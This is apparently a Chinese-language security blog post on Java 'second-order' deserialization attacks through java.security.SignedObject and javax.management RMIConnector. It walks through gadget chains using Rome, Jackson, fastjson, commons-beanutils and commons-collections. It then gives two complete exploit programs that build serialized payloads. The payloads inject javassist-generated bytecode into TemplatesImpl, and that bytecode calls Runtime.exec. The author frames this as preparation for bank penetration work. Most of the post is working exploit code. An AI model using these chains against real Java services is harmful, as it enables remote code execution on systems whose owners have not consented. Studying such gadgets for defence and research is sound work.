二次反序列化学习(一)

二次反序列化学习(一)

为了更好找到银行驻场,随学习二次反序列化。

img

SignedObject

0x01 SignedObject分析

比较简单。可以序列化,fied可控。太完美了,早入行几年就好了。

java/security/SignedObject.java#getObject()

image-20240117020703509

image-20240117020654623

可以看到这个从content获取流然后进行反序列化。

image-20240117020950838

content是一个byte数组。继承ser。那么无非就是反射赋值,或者构造函数赋值。

image-20240117021123904

构造函数pubilc,直接new就完事了,然后触发getObject()就行。很容易想到jackson,fastjson,cb等来触发javabean的getter来进行触发。

java/security/Signature.java#Map()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private final static Map<String,Boolean> signatureInfo;

static {
signatureInfo = new ConcurrentHashMap<String,Boolean>();
Boolean TRUE = Boolean.TRUE;
// pre-initialize with values for our SignatureSpi implementations
signatureInfo.put("sun.security.provider.DSA$RawDSA", TRUE);
signatureInfo.put("sun.security.provider.DSA$SHA1withDSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$MD2withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$MD5withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$SHA1withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$SHA256withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$SHA384withRSA", TRUE);
signatureInfo.put("sun.security.rsa.RSASignature$SHA512withRSA", TRUE);
signatureInfo.put("com.sun.net.ssl.internal.ssl.RSASignature", TRUE);
signatureInfo.put("sun.security.pkcs11.P11Signature", TRUE);
}

jdk自带算法

根据自带算法,构造Signature的构造函数

1
2
3
4
5
6
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(templates, privateKey,signature );

0x02 多种方法触发SignedObject.getObject()

一、依赖: hashmap->Rome

因为调用SignedObject.getObject()。所以需要gettset来触发。有很多方法。

hashmap.readObject()->hash(key)->key.hashcode->Rome.ObjectBean.hashcode()->EqualsBean.javabeanHashCode()->ToStringBean.java#toString()->SignedObject.getObject()

1
2
3
4
5
6
7
8
9
10
11
12
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );

ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
ObjectBean root = new ObjectBean(ToStringBean.class, toStringBean);

HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(root,"x");

二、依赖: BadAttributeValueExpException->Rome

BadAttributeValueExpException.readObject()->ToStringBean.java#toString()->SignedObject.getObject()

1
2
3
4
5
6
7
8
9
10
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );

ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1, "val", toStringBean);

三、依赖:jackson

BadAttributeValueExpException.readObject()->jackson.databind.node.POJONode.toString()->om.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->SignedObject.getObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    // 保证能写入序列化数据,利用javassist删除writeReplace()。
try {
ClassPool pool_1 = ClassPool.getDefault();
CtClass jsonNode = pool_1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(hashMap, privateKey,signature );

POJONode jsonNodes1 = new POJONode(signedObject);
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1, "val", jsonNodes1);

四、依赖:fastjson 1.2.48+

HashMap.readObject()->BadAttributeValueExpException.readObject()->BadAttributeValueExpException.toString()->com.alibaba.fastjson.JSONObject.toString()/com.alibaba.fastjson.JSONArray.toString()->com.alibaba.fastjson.JSON.toString()->com.alibaba.fastjson.JSON.toJSONString()->com/alibaba/fastjson/serializer/JSONSerializer.java#write()->com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo) ->SignedObject.getObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );

JSONObject jsonObject = new JSONObject();
jsonObject.put("222",signedObject);
// JSONArray objects = new JSONArray();
// objects.add(signedObject);
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1, "val", jsonObject);

HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(signedObject,val1);

五、依赖:cb

PriorityQueue.readObect()-> org.apache.commons.beanutils.BeanComparator.compare()->PropertyUtils.getProperty()->SignedObject.getObject()->PropertyUtilsBean.java#getSimpleProperty()->SignedObject.getObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );

BeanComparator<Object> objectBeanComparator = new BeanComparator<>();
setFieldValue(objectBeanComparator,"property","object");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1);

setFieldValue(priorityQueue,"comparator",objectBeanComparator);
setFieldValue(priorityQueue,"size",2);
Object[] objects = {signedObject, 1};
setFieldValue(priorityQueue,"queue",objects);

0x03 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
package com.towser;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import com.tmp.cc.cc5_Templateslmpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.apache.commons.beanutils.BeanComparator;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.PriorityQueue;
import java.util.TreeMap;

public class signedobject {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("cmd");
clazz.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open .\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "xx");
// setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());


// 一、利用链:hashmap->hash(key)->key.hashcode->Rome.EqualsBean.javabeanHashCode()->EqualsBean.toString()->jackson.databind.node.POJONode.toString()->com.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->templates.getOutputProperties()
// POJONode jsonNodes = new POJONode(templates);
// EqualsBean bean = new EqualsBean(String.class, "22");
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(bean,"222");
// setFieldValue(bean,"_obj",jsonNodes);

// 二、利用链:HashMap.readObject()->BadAttributeValueExpException.readObject()->BadAttributeValueExpException.toString()->**com.alibaba.fastjson.JSONObject.toString()/com.alibaba.fastjson.JSONArray.toString()**->com.alibaba.fastjson.JSON.toString()->com.alibaba.fastjson.JSON.toJSONString()->com/alibaba/fastjson/serializer/JSONSerializer.java#write()->com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo) ->templates.getOutputProperties()
// JSONObject jsonObject = new JSONObject();
// jsonObject.put("1",templates);
//
// BadAttributeValueExpException val = new BadAttributeValueExpException(null);
// setFieldValue(val, "val", jsonObject);
//
// HashMap<Object, Object> hashMap2 = new HashMap<>();
// hashMap2.put(templates,val);

// 三、利用链:BadAttributeValueExpException.readObject()->jackson.databind.node.POJONode.toString()->om.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->templates.getOutputProperties()

// 删除 BaseJsonNode 的 writeReplace,使能写入序列化数据
try {
ClassPool pool_1 = ClassPool.getDefault();
CtClass jsonNode = pool_1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", jsonNodes);


KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(val, privateKey,signature );


// 一、利用链:hashmap->hash(key)->key.hashcode->Rome.ObjectBean.hashcode()->EqualsBean.javabeanHashCode()->oStringBean.java#toString()->SignedObject.getObject()
// ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
// ObjectBean root = new ObjectBean(ToStringBean.class, toStringBean);
//
// HashMap<Object, Object> hashMap1 = new HashMap<>();
// hashMap1.put(root,"x");

// 二、BadAttributeValueExpException.readObject()->ToStringBean.java#toString()->SignedObject.getObject()
// ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
// BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
// setFieldValue(val1, "val", toStringBean);

// 三、BadAttributeValueExpException.readObject()->jackson.databind.node.POJONode.toString()->om.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->SignedObject.getObject()
// POJONode jsonNodes1 = new POJONode(signedObject);
// BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
// setFieldValue(val1, "val", jsonNodes1);


// 四、HashMap.readObject()->BadAttributeValueExpException.readObject()->BadAttributeValueExpException.toString()->**com.alibaba.fastjson.JSONObject.toString()/com.alibaba.fastjson.JSONArray.toString()**->com.alibaba.fastjson.JSON.toString()->com.alibaba.fastjson.JSON.toJSONString()->com/alibaba/fastjson/serializer/JSONSerializer.java#write()->com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo) ->SignedObject.getObject()
//// JSONObject jsonObject = new JSONObject();
//// jsonObject.put("222",signedObject);
// JSONArray objects = new JSONArray();
// objects.add(signedObject);
//
// BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
// setFieldValue(val1, "val", objects);
//
// HashMap<Object, Object> hashMap1 = new HashMap<>();
// hashMap1.put(signedObject,val1);

// 五、PriorityQueue.readObect()-> org.apache.commons.beanutils.BeanComparator.compare()->PropertyUtils.getProperty()->SignedObject.getObject()->PropertyUtilsBean.java#getSimpleProperty()->SignedObject.getObject()
BeanComparator<Object> objectBeanComparator = new BeanComparator<>();
setFieldValue(objectBeanComparator,"property","object");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1);

setFieldValue(priorityQueue,"comparator",objectBeanComparator);
setFieldValue(priorityQueue,"size",2);
Object[] objects = {signedObject, 1};
setFieldValue(priorityQueue,"queue",objects);

FileOutputStream ser2 = new FileOutputStream("ser2");
ObjectOutputStream oos = new ObjectOutputStream(ser2);
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser2"));
ois.readObject();

}
}

RMIConnector

0x01 分析

javax.management.remote.rmi.RMIConnector#findRMIServerJRMP()

image-20240118001634774

image-20240118001428885

可以看到传入base64字节,然后转object流,然后序列化

往上跟

javax.management.remote.rmi.RMIConnector#findRMIServer()

image-20240118001855185

可以看到以“/stub/”开头就会调用findRMIServerJRMP()

javax.management.remote.rmi.RMIConnector#connect()

image-20240118002403207

image-20240118002245659

可以看见rmiServer等于空就回调用findRMIServer()

查看构造方法

image-20240118002459279

image-20240118002515910

可以看见构造方法符合条件。

image-20240118002840672

JMXServiceURL必须为service:jmx:开头。

image-20240118003522640

这里获取JMXServiceURL的URLPATH,然后URLPATH要以/stub/开头,截取第6位到末位的字符传入触发二次反序列化。

所以new一个JMXServiceURL对象,然后反射赋值就行。最后构造RMIConnector。

1
2
3
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+serbase64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

0x02 构造

由于我们要出发connect(),它不是javabean,所以有很多限制,佬们想到的是cc的invoketransfrom来触发。

既然是cc触发,说实话,如大佬所说鸡肋。

cc链触发,很容易想到cc4.0用PriorityQueue,cc 3.2.1一下用lazymap.get()

一、cc6前半

hashmap.readObject()->hash(key)->key.hashcode->tiedMapEntry.hashcode->tiedMapEntry.getValue->lazyMap.get()->invokerTransformer.Transformer()->rmiConnector.connect()

1
2
3
4
5
6
7
8
9
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

Map<Object,Object> lazyMap = LazyMap.decorate( new HashMap<>(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "xx");
lazyMap.clear();
setFieldValue(lazyMap,"factory", invokerTransformer);

二、 cc4.0、PriorityQueue

PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->TransformingComparator.comparator()->InvokerTransformer.transformer()

1
2
3
4
5
6
7
8
9
InvokerTransformer transformer = new InvokerTransformer("connect", null, null);

TransformingComparator comparator = new TransformingComparator(transformer);

PriorityQueue priorityQueue = new PriorityQueue(1);
setFieldValue(priorityQueue,"size",2);
Object[] objects = {rmiConnector, 1};
setFieldValue(priorityQueue,"queue",objects);
setFieldValue(priorityQueue,"comparator",comparator);

三、 cc3.2.1 cc4 动态代理

AnnotationInvocationHandler.readObject->AnnotationInvocationHandler.invoke->DefaultedMap.get()->transformerChain.transformer()->InvokerTransformer.transformer()->rmiConnector.connect()

CC4 没有lazymap了, 改用defaultedMap即可。cc1都可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
DefaultedMap<Object, Optional<ConstantTransformer>> defaultedMap =
DefaultedMap.defaultedMap(new HashMap<>(), Optional.of(new ConstantTransformer(1)));
setFieldValue(defaultedMap,"value", transformerChain);

Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared =
AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, defaultedMap);
Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(), new Class[]{Map.class}, h);
Object instance = Anotationdeclared.newInstance(Override.class,Mapproxy);

0x03 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package com.towser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.tmp.cc.cc1;
import com.tmp.cc.cc5;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.map.DefaultedMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.util.*;

public class rmiconnector {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void main(String[] args) throws Exception {
File file = new File("ser2");
byte[] fileBytes = Files.readAllBytes(file.toPath());
String base64 = Base64.getEncoder().encodeToString(fileBytes);


JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

// 一、cc6前半
// hashmap.readObject()->hash(key)->key.hashcode->tiedMapEntry.hashcode->tiedMapEntry.getValue->lazyMap.get()->invokerTransformer.Transformer()->rmiConnector.connect()
// InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
//
// Map<Object,Object> lazyMap = LazyMap.decorate( new HashMap<>(), new ConstantTransformer(1));
// TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
//
// HashMap<Object, Object> expMap = new HashMap<>();
// expMap.put(tiedMapEntry, "xx");
// lazyMap.clear();
// setFieldValue(lazyMap,"factory", invokerTransformer);

// 二、 cc4.0、PriorityQueue
// PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->TransformingComparator.comparator()->InvokerTransformer.transformer()
// InvokerTransformer transformer = new InvokerTransformer("connect", null, null);
//
// TransformingComparator comparator = new TransformingComparator(transformer);
//
// PriorityQueue priorityQueue = new PriorityQueue(1);
// setFieldValue(priorityQueue,"size",2);
// Object[] objects = {rmiConnector, 1};
// setFieldValue(priorityQueue,"queue",objects);
// setFieldValue(priorityQueue,"comparator",comparator);

// 三、 cc3.2.1 cc4 动态代理
// AnnotationInvocationHandler.readObject->AnnotationInvocationHandler.invoke->DefaultedMap.get()->transformerChain.transformer()->InvokerTransformer.transformer()->rmiConnector.connect()
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
DefaultedMap<Object, Optional<ConstantTransformer>> defaultedMap =
DefaultedMap.defaultedMap(new HashMap<>(), Optional.of(new ConstantTransformer(1)));
setFieldValue(defaultedMap,"value", transformerChain);

Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared =
AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, defaultedMap);
Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(), new Class[]{Map.class}, h);
Object instance = Anotationdeclared.newInstance(Override.class,Mapproxy);

FileOutputStream ser2 = new FileOutputStream("RMIC2");
ObjectOutputStream oos = new ObjectOutputStream(ser2);
oos.writeObject(instance);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("RMIC2"));
ois.readObject();
}
}

累了,下次再写。

佬的剑招

https://tttang.com/archive/1701/#toc_cc

https://su18.org/


二次反序列化学习(一)
https://unam4.github.io/2024/01/17/二次反序列化学习/
作者
unam4
发布于
2024年1月17日
许可协议